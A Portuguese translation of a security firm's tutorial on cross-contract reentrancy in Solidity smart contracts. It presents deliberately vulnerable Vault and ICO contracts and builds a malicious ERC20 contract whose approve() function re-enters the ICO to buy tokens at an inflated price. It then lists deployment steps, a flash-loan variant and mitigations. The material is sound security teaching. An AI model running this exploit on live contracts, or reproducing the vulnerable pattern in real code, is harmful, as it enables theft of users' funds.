O ataque de reentrância é um dos ataques mais comuns em contratos inteligentes baseados em EVM. É um ataque com danos devastadores, que podem ser vistos em muitos incidentes passados, como:
O ataque a The DAO
O ataque a Cream Finance
A maioria dos ataques de reentrância são feitos reinserindo a mesma função (Reentrância de Função Única) da qual é chamada; no entanto, também existem outras variações que são mais difíceis de descobrir e prevenir. Neste artigo, mostraremos o que é a reentrância entre contratos cruzados, quão impactante ela pode ser e como você pode evitá-la. Também temos um laboratório prático que você pode acompanhar para saber mais sobre essa vulnerabilidade em detalhes.
Tipos de Reentrância
- Reentrância de Função Única
- Reentrância entre Funções Cruzadas
- Reentrância entre Contratos Cruzados
As duas primeiras variações são comumente encontradas, os exemplos podem ser descobertos nas Melhores Práticas de Contrato Inteligente Ethereum da Consensys. O que vamos focar é o terceiro, Reentrância entre Contratos Cruzados.
Reentrância entre Contratos Cruzados
A reentrância entre contratos pode acontecer quando um estado de um contrato é usado em outro contrato, mas esse estado não é totalmente atualizado antes de ser chamado.
As condições necessárias para que a reentrância entre contratos seja possível são as seguintes:
- O fluxo de execução pode ser controlado pelo invasor para manipular o estado do contrato.
- O valor do estado no contrato é compartilhado ou utilizado em outro contrato.
Esse tipo de vulnerabilidade foi utilizado em vários ataques anteriores, por exemplo:
Ataque a ValueDefi (7 de maio de 2021)
Ataque a Rari Capital (8 de maio de 2021)
Exemplo: Simple Vault e uma ICO
Como exemplo, dê uma olhada neste simples contrato Vault
que implementamos como demonstração.
Nota: O contrato inteligente router
é implementado usando a implementação do UniswapV2
Vault.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
interface IRouter {
function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
}
contract Vault is ERC20, ReentrancyGuard {
using SafeERC20 for ERC20;
ERC20 public baseToken;
IRouter public router;
constructor(ERC20 _baseToken, IRouter _router) ERC20("VaultToken", "VT") public {
baseToken = _baseToken;
router = _router;
}
function shareToAmount(uint256 _share) view public returns (uint256) {
return _share * baseToken.balanceOf(address(this)) / totalSupply();
}
function amountToShare(uint256 _amount) view public returns (uint256) {
return _amount * totalSupply() / baseToken.balanceOf(address(this));
}
// Depositar tokens no cofre e receber ações ($VT)
function deposit(uint256 _amount) external nonReentrant {
uint256 total = baseToken.balanceOf(address(this));
uint256 share = total == 0 ? _amount : amountToShare(_amount);
_mint(msg.sender, share);
baseToken.safeTransferFrom(msg.sender, address(this), _amount);
}
// Depositar qualquer token e trocá-lo pelo token base para depositar no cofre
function swapAndDeposit(uint256 _amount, ERC20 _srcToken, uint256 amountOutMin) external nonReentrant {
uint256 beforeTransfer = baseToken.balanceOf(address(this));
_srcToken.safeTransferFrom(msg.sender, address(this), _amount);
address[] memory path = new address[](2);
path[0] = address(_srcToken);
path[1] = address(baseToken);
// Aprovar token para troca
_srcToken.approve(address(router), _amount);
router.swapExactTokensForTokens(_amount, amountOutMin, path, address(this), block.timestamp);
// Redefinir a aprovação do token
_srcToken.approve(address(router), 0);
uint256 baseTokenAmount = baseToken.balanceOf(address(this)) - beforeTransfer;
uint256 share = baseTokenAmount * totalSupply() / beforeTransfer;
_mint(msg.sender, share);
}
// Sacar tokens do cofre através da queima de ações ($VT)
function withdraw(uint256 _share) external nonReentrant {
uint256 amount = shareToAmount(_share);
_burn(msg.sender, _share);
baseToken.safeTransfer(msg.sender, amount);
}
// Sacar os tokens do cofre, queimando ações ($VT) e trocar por qualquer token
function withdrawAndSwap(uint256 _share, ERC20 _destToken, uint256 amountOutMin) external nonReentrant {
uint256 amount = shareToAmount(_share);
address[] memory path = new address[](2);
path[0] = address(baseToken);
path[1] = address(_destToken);
// Aprovar token para troca
baseToken.approve(address(router), amount);
router.swapExactTokensForTokens(amount, amountOutMin, path, address(msg.sender), block.timestamp);
// Redefinir a aprovação do token
baseToken.approve(address(router), 0);
_burn(msg.sender, _share);
}
// Enviar dinheiro para algum lugar para obter lucro
function work() external nonReentrant {}
// Recolher lucro e trocar pelo Token base
function harvest() external nonReentrant {}
}
Os usuários podem depositar o token base e obter VaultToken
($VT) que atua como as ações dos usuários dos tokens no cofre.
Sem as funções work()
e harvest()
implementadas, a proporção entre o número de ações e a quantidade de token base no cofre sempre será 1:1, a menos que o token base seja transferido manualmente para o cofre.
No contrato Vault
, o próprio contrato está protegido contra ataques de reentrância, pois um bloqueio mutex (nonReentrant
modificador) é usado. Portanto, nenhum invasor pode fazer nada para drenar os tokens deste contrato.
Também implementamos outro contrato simples de ICO que permite aos usuários trocar $VT para cunhar um novo token, $GOV. O número de token obtido é determinado pelo valor de $VT e o preço do token especificado no contrato inteligente.
ICOGov.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./GOVToken.sol";
import "./Vault.sol";
contract ICOGov is ReentrancyGuard {
GOVToken public newToken;
Vault public vault;
address treasury;
uint256 public tokenPrice;
constructor(GOVToken _newToken, Vault _vault, address _treasury, uint256 _tokenPricePerToken) {
newToken = _newToken;
vault = _vault;
treasury = _treasury;
tokenPrice = _tokenPricePerToken; // preço / token
}
function buyToken(uint256 _vaultTokenAmount) external nonReentrant {
// Obter valor do token da ação
uint256 value = vault.shareToAmount(_vaultTokenAmount);
// Obter o número de token do valor
uint256 tokenAmount = value / tokenPrice;
vault.transferFrom(msg.sender, treasury, _vaultTokenAmount);
newToken.mint(msg.sender, tokenAmount);
}
}
Você consegue ver a falha nesses contratos inteligentes?
Pista: É possível manipular o valor da ação de $VT?
Você pode parar aqui e ler os contratos inteligentes acima com cuidado ou rolar para baixo para ver a explicação da vulnerabilidade.
Vamos começar a aprofundar o código!
Sequestrando o fluxo de execução
Uma das primeiras coisas que devemos observar no contrato Vault
é que podemos controlar o endereço _srcToken
e os parâmetros de endereço _destToken
nas funções swapAndDeposit()
e withdrawAndSwap()
respectivamente.
Vault.sol
pragma solidity 0.8.13; // Para destacar a sintaxe
// Deposite qualquer token e troque-o pelo token base para depositar no cofre
function swapAndDeposit(uint256 _amount, ERC20 _srcToken, uint256 amountOutMin) external nonReentrant {
uint256 beforeTransfer = baseToken.balanceOf(address(this));
_srcToken.safeTransferFrom(msg.sender, address(this), _amount);
address[] memory path = new address[](2);
path[0] = address(_srcToken);
path[1] = address(baseToken);
// Aprovar token para troca
_srcToken.approve(address(router), _amount);
router.swapExactTokensForTokens(_amount, amountOutMin, path, address(this), block.timestamp);
// Redefinir a aprovação do token
_srcToken.approve(address(router), 0);
uint256 baseTokenAmount = baseToken.balanceOf(address(this)) - beforeTransfer;
uint256 share = baseTokenAmount * totalSupply() / beforeTransfer;
_mint(msg.sender, share);
}
// Sacar os tokens do cofre, queimando ações ($VT) e trocar por qualquer token
function withdrawAndSwap(uint256 _share, ERC20 _destToken, uint256 amountOutMin) external nonReentrant {
uint256 amount = shareToAmount(_share);
address[] memory path = new address[](2);
path[0] = address(baseToken);
path[1] = address(_destToken);
// Aprovar token para troca
baseToken.approve(address(router), amount);
router.swapExactTokensForTokens(amount, amountOutMin, path, address(msg.sender), block.timestamp);
// Redefinir a aprovação do token
baseToken.approve(address(router), 0);
_burn(msg.sender, _share);
}
O endereço é então passado através do parâmetro path para a função router.swapExactTokensForTokens()
, que é uma função de troca de token comum para um contrato inteligente de roteador baseado em UniswapV2. A ação ($VT) é então cunhada ou queimada após a troca.
Além disso, na função swapAndDeposit()
, a função _srcToken.approve()
é chamada. Como podemos controlar o endereço de _srcToken
, é possível sequestrar o fluxo de execução antes e depois da troca do token!
Usando Estados de Outro Contrato
Do contrato ICOGov
, a função shareToAmount()
do contrato Vault
é chamada na função buyToken()
para determinar o valor de $VT em termos do token base.
ICOGov.sol
pragma solidity 0.8.13; // Para destacar a sintaxe
function buyToken(uint256 _vaultTokenAmount) external nonReentrant {
// Obter valor do token da ação
uint256 value = vault.shareToAmount(_vaultTokenAmount);
// Obter número de token do value
uint256 tokenAmount = value / tokenPrice;
vault.transferFrom(msg.sender, treasury, _vaultTokenAmount);
newToken.mint(msg.sender, tokenAmount);
}
A função shareToAmount()
calcula o valor do token usando o saldo do token base no contrato e o fornecimento total.
Vault.sol
pragma solidity 0.8.13; // Para destacar a sintaxe
function shareToAmount(uint256 _share) view public returns (uint256) {
return _share * baseToken.balanceOf(address(this)) / totalSupply();
}
Nesse caso, se conseguirmos inflar o saldo do token base dentro do contrato Vault
sem aumentar a oferta total, podemos inflar o valor de cada ação.
A transferência direta do token base para o contrato é uma das opções; no entanto, ao transferir diretamente, o token será compartilhado entre o detentor do $VT, portanto, uma parte dos fundos será perdida.
Combinando os dois
Lembra do que descobrimos na parte anterior? Podemos sequestrar o fluxo de execução antes e depois da troca do token!
E se usarmos a função swapAndDeposit()
e assumirmos o controle do fluxo de execução depois que o token base for trocado com sucesso e enviado para o Vault
, mas $VT ainda não tenha sido cunhado? O valor de $VT será inflado nesse momento, e podemos chamar ICOGov.buyToken()
para cunhar mais tokens usando o valor inflado!
Vamos dar uma olhada neste código novamente.
Vault.sol
pragma solidity 0.8.13; // Para destacar a sintaxe
// Deposite qualquer token e troque-o pelo token base para depositar no cofre
function swapAndDeposit(uint256 _amount, ERC20 _srcToken, uint256 amountOutMin) external nonReentrant {
uint256 beforeTransfer = baseToken.balanceOf(address(this));
_srcToken.safeTransferFrom(msg.sender, address(this), _amount);
address[] memory path = new address[](2);
path[0] = address(_srcToken);
path[1] = address(baseToken);
// Aprovar token para troca
_srcToken.approve(address(router), _amount);
router.swapExactTokensForTokens(_amount, amountOutMin, path, address(this), block.timestamp);
// Redefinir a aprovação do token
_srcToken.approve(address(router), 0);
uint256 baseTokenAmount = baseToken.balanceOf(address(this)) - beforeTransfer;
uint256 share = baseTokenAmount * totalSupply() / beforeTransfer;
_mint(msg.sender, share);
}
Na linha 48 (12 na síntese), o token é trocado e transferido de volta para o cofre, isso significa que após essa linha, o saldo do token base aumentará, enquanto o fornecimento total não é atualizado, pois o $VT ainda não foi cunhado.
E na linha 50 (14 na síntese), a função approve()
de _srcToken
é chamada. Como podemos controlar o endereço do token, podemos implementar um token mal intencionado com uma função especial approve()
que realiza uma chamada reentrante para ICOGov.buyToken()
quando chamado neste ponto específico.
Vamos tentar hackear!
Como queremos sequestrar o fluxo de execução usando um contrato de token mal intencionado, vamos implementá-lo!
Implementamos os contratos inteligentes, você pode acompanhar usando este repositório: https://github.com/InspexCo/cross-contract-reentrancy
Começando como um token padrão ERC20
, podemos criar um contrato e herdar a implementação do contrato ERC20
do OpenZeppelin.
EvilERC20.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract EvilERC20 is ERC20 {
constructor() ERC20("EvilToken", "EVIL") {}
}
Queremos implementar uma função approve()
personalizada que seja acionada em um ponto específico do contrato Vault
, para que possamos começar com a linha base, a implementação original da função approve()
.
EvilERC20.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract EvilERC20 is ERC20 {
constructor() ERC20("EvilToken", "EVIL") {}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
}
Queremos que ele seja acionado aqui na linha 50 (14 na síntese), e sabemos que o contrato Vault
será o chamador e o valor de aprovação será zero; portanto, estes podem ser utilizados como condição para acionar a reentrância no contrato ICOGov
.
Vault.sol
pragma solidity 0.8.13; // For syntax highlighting
// Deposite qualquer token e troque-o pelo token base para depositar no cofre
function swapAndDeposit(uint256 _amount, ERC20 _srcToken, uint256 amountOutMin) external nonReentrant {
uint256 beforeTransfer = baseToken.balanceOf(address(this));
_srcToken.safeTransferFrom(msg.sender, address(this), _amount);
address[] memory path = new address[](2);
path[0] = address(_srcToken);
path[1] = address(baseToken);
// Aprovar token para troca
_srcToken.approve(address(router), _amount);
router.swapExactTokensForTokens(_amount, amountOutMin, path, address(this), block.timestamp);
// Redefinir a aprovação do token
_srcToken.approve(address(router), 0);
uint256 baseTokenAmount = baseToken.balanceOf(address(this)) - beforeTransfer;
uint256 share = baseTokenAmount * totalSupply() / beforeTransfer;
_mint(msg.sender, share);
}
Podemos implementar o gatilho condicional verificando se o endereço do cofre msg.sender
corresponde ao endereço do cofre e o valor da aprovação é igual a zero.
EvilERC20.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./Vault.sol";
contract EvilERC20 is ERC20 {
Vault vault;
constructor(Vault _vault) ERC20("EvilToken", "EVIL") {
vault = _vault;
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
// Desencadear o ataque
if (amount == 0 && owner == address(vault)) {
}
return true;
}
}
Com o contrato acima, agora podemos sequestrar o fluxo de execução no local que desejamos. Em seguida, precisamos preparar o $VT necessário para comprar o token e chamar a função ICOGov.buyToken()
. Podemos fazer isso permitindo que o contrato transfira $VT da carteira do invasor para EvilERC20
, aprove a transferência e compre o token.
EvilERC20.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./Vault.sol";
import "./ICOGov.sol";
contract EvilERC20 is ERC20 {
Vault vault;
ICOGov icoGov;
address attackerAddr;
constructor(Vault _vault, ICOGov _icoGov) ERC20("EvilToken", "EVIL") {
vault = _vault;
icoGov = _icoGov;
attackerAddr = msg.sender;
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
// Desencadear o ataque
if (amount == 0 && owner == address(vault)) {
// Transfer $VT from attacker
uint256 share = vault.balanceOf(attackerAddr);
vault.transferFrom(attackerAddr, address(this), share);
// Aprovar $VT para ser usado pelo ICOGov
vault.approve(address(icoGov), share);
// Comprar o token
icoGov.buyToken(share);
}
return true;
}
}
Agora terminamos com o contrato do token mal intencionado. Podemos implantá-lo e realizar o ataque.
Supondo que baseToken
seja $USDT, as etapas a serem executadas são as mostradas no diagrama a seguir (alguns detalhes menores são omitidos):
Diagrama de ataque de reentrância entre contratos
- Implantar o contrato
EvilToken
- Prepare $USDT e chame
Router.addLiquidity()
para criar um par $EVIL-USDT (aprove a transferência de $EVIL e $USDT paraRouter
primeiro) - Ligue
Vault.deposit()
para obter $VT pela compra de $GOV (Aprove a transferência de $USDT para oVault
primeiro) - Ligue
Vault.swapAndDeposit()
com oEvilToken
como o_srcToken
(Aprove a transferência de $VT para oEvilToken
primeiro)
Com essas etapas, o valor de $VT será inflado dependendo do valor depositado na etapa 4, permitindo que quem atacar compre $GOV a um custo menor.
Além disso, usando um método semelhante, um empréstimo instantâneo também pode ser usado para aumentar amplamente o impacto dessa vulnerabilidade, por exemplo:
- Emprestar uma grande quantia de $USDT
- Depósito $USDT
- Inflar o valor de $VT e realizar uma chamada reentrante para comprar $GOV
- Vender $GOV no mercado aberto
- Sacar o$USDT usado na inflação do valor de $VT
- Devolva o $USDT emprestado e lucre com o $GOV vendido
Soluções para prevenir a reentrância
Para as duas primeiras variações, Reentrância de Função Única e Reentrância entre Funções Cruzadas, um bloqueio mutex pode ser implementado no contrato para evitar que as funções no mesmo contrato sejam chamadas repetidamente, evitando assim a reentrância. Um método amplamente usado para implementar o bloqueio é herdar o ReentrancyGuard do OpenZeppelin e usar o modificador nonReentrant
.
A melhor solução é verificar e tentar atualizar todos os estados antes de solicitar contratos externos, ou o chamado padrão “Verifica os efeitos das interações” . Desta forma, mesmo quando uma chamada reentrante é iniciada, nenhum impacto pode ser feito, pois todos os estados terminaram de atualizar.
Outra opção alternativa é impedir que o invasor assuma o controle do fluxo do contrato. Um conjunto de endereços na lista de permissões pode impedir que o invasor injete contratos mal intencionados desconhecidos no contrato deste laboratório.
No entanto, os contratos que se integram a outros contratos, principalmente quando os estados são compartilhados, devem ser verificados detalhadamente para garantir que os estados utilizados estejam corretos e não possam ser manipulados.
Sobre a Inspex
A Inspex é formada por uma equipe de especialistas em segurança cibernética altamente experientes em vários campos da segurança cibernética. Fornecemos serviços profissionais de blockchain e contratos inteligentes da mais alta qualidade para aumentar a segurança de nossos clientes e do ecossistema geral da blockchain.
Para quaisquer dúvidas comerciais, entre em contato conosco via Twitter, Telegram, ou email, [email protected][email protected]
Este artigo foi escrito por Inspex e seu original pode ser encontrado aqui. Traduzido e adaptado por Marcelo Panegali.
Top comments (0)